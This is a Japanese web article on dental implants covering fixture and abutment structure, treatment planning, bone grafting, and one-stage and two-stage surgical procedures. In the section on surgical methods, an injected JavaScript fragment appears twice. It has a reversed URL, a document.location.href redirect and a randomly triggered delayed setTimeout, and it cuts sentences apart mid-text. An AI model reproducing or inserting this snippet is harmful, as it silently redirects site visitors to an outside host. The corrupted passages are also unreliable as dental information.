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インプラントの構造から術式などを紹介してきましょう。
特殊な場合も含めて記載してありますので、よく読んでいただけるとありがたいです。
構造
インプラント体の構造は、
- 顎骨に埋めるフィクスチャー部
- 被せ物の支台となるアバットメント
の二つからなるが、これを一体とした「1ピースタイプ」がある。
また、インプラント体に人工歯冠・上部構造を装着する。
そしてその装着物固定も、ネジ・セメント・磁石など各種ある。
上記すべての構造体は多種多様で、強度・クッション性・寿命などの特徴も多種多様であり、手術自体と同じようにこうした治療計画によって、治療の結果も大きく変わってくる。
1ピース・2ピース
インプラント体は二つの部分に分けられるが、この双方を一体となった1ピースタイプ(1パーツタイプ)と別々になった2ピースタイプ(2パーツタイプ)がある。
双方に、メリットとデメリットが存在する。 1ピース1回法はパーツが少なく手術が1回で済むことから、施術費用が安く済む反面、トラブルのあった際に顎骨からすべて取り出す必要が生じることがある。2ピースタイプは、個々異なる状態に合わせて組み合わせる事が可能であり、トラブルがあった際に埋め込んだフィクスチャー部を顎骨から取り外す危険が少ないが、パーツの数が多くなることから費用が高くなる傾向がある。
一般的なインプラントは安全性を考えてほとんどのものが2ピースを選択しています。
診断模型および治療計画の重要性
インプラントの治療計画作成の方法には補綴主導型(トップダウントリートメント)と外科主導型の2種類がある。
- 補綴主導型(トップダウントリートメント)は模型上でモックアップを作り機能的、審美的に最も適した最終補綴物(上部構造)の位置を決め、それに基づきフィクスチャーの埋入位置の決定、それにあたって歯槽骨、歯肉を望ましい条件に整えるという治療計画の立て方である。
- 外科主導型は歯槽骨の状況等を考慮し、もっとも有利な位置にフィクスチャーを埋入し最終補綴物の位置はフィクスチャーの埋入位置により制限される。フィクスチャーありきの治療計画の立て方である。
インプラント手術の目的はフィクスチャーの埋入ではなく、機能、審美の両面の改善であるため、理想的にはトップダウントリートメントが望ましい。しかしトップダウントリートメントでは骨量として必ずしもベストではない位置にフィクスチャーを埋入する事となるためGBR(骨を作るということです)が必要となる事が多くなり人工骨などの充填材の質に依存する事となる。一時期はトップダウントリートメントでの治療計画が流行したが人工骨の吸収による不良予後のケースも散見されたため、現在は外科主導型でフィクスチャーをしっかりと埋入するという事に重きをおくという考えに揺り戻しがおこっている状況である。ただ、トップダウントリートメントが理想であるという事実は変わりなくより吸収の少ない精度の高い人工骨等の充填材の開発により将来的にはトップダウントリートメントが主流になると考えられる。
ここは、GBRのテクニックを持ってる先生なのかどうかでかなり変わってくると思います。ただし、骨をつくるというのはとても難しく移植材をうまく入れて作られたとしても理想通りの骨の形にならなかったり、うまく骨にならない場合もあるため今後の材料や特殊なテクニックなどが開発されないとならないと思われます。
追加
骨を移植すると一般の方々はそのまま移植した骨が元ある骨にくっつくイメージをおもちだと思うのですが、実は移植した骨はいったん全部吸収され新たに骨ができることによって骨ができてくるという過程を取ります。その際に一番大事なことが骨ができてくるスペースが歩かないかでできてくる骨の形が決まるということです。うまくスペースを作ることができるとよい形の骨ができるのですが、スペースを作るということはそこに空間ができるということになり、生体ではそれを起こさないような形で傷は治るためこのスペースを作ることが非常に難しいといわれています。
術式
インプラントの術式は1回法と2回法の2つがある。インプラント体の改良により初期固定が改良されているが、フィクスチャーの定着を考えて2回法が選択される事が多く、一方toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domain” title=”この記述には信頼できる情報源の提示が求められています。(2012年2月)”>フィクスチャーの定着率は1回法と2回法で有意差はほとんどなくなってきているとする説がある。toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domain” title=”この記述には信頼できる情報源の提示が求められています。(2012年2月)”>よりシビアなケースの場合、またGBR等の骨増生手術を同時に行う場合は2回法が選択され、その他の場合には1回法が選択される。1回法の場合は手術回数が少なく安価で即日仮歯を入れる即時加重を行えるメリットもある。ただし、小規模な診療所では導入しているインプラントの種類が少なく、診療所を選択した時点で術式が決まる場合もある。
ここでも、先に示した1ピースのインプラントか2ピースのインプラントかによって術式は決まりますが、ほとんどの先生が2ピースを選択する現状では、一回法をやる先生は非常に少ないのが現状です。
また、2ピースのインプラントを使用しても、一回法を採用される場合があります。これは、インプラントの手術をおこなった際に非常に骨の状況がよく初期固定が各自に得られている場合には成功する方法です。ただし、初期固定だけで大丈夫と判断できる経験が術者側に必要になります。
確実な方法を考えると2回法が一般的と言えます。
1回法の術式
- インプラント植立(埋入)部の歯肉骨膜弁を剥離する
- 歯槽骨をドリリングしインプラント体フィクスチャー部を植立し縫合
- 場合によっては仮歯(TEK)を被せ、1~2カ月後に最終補綴物(被せ物)を装着する。
- インプラント埋入予定部の歯肉弁を剥離する。
- 骨をドリリングしてフィクスチャーを埋入。
- アバットメントもしくは高さのないヒーリングアバットメントをフィクスチャーに連結。(場合により仮歯を入れる)
- オッセオインテグレーション(インプラントが骨にしっかりと固定された状態)した時点でアバットメント(ヒーリングアバットメントを入れている場合はアバットメントに交換)に最終補綴物を被せる。
2回法の術式
- インプラント埋入予定部の歯肉弁を剥離する。
- 骨をドリリングしてフィクスチャーを埋入。
- フィクスチャーのネジ穴の部分をカバースクリューで蓋をして、剥離した歯肉を閉じる。
- オッセオインテグレーション(インプラントが骨としっかりと固定された状態)した時点で2次手術を行う。
- 2次手術では歯肉を再度剥離しカバースクリューを外しヒーリングアバットメントと交換し歯肉を閉じる。
- 2次手術後1ヶ月程度あけ歯肉の形が整った段階でヒーリングアバットメントをアバットメントと交換し、最終補綴物を被せる。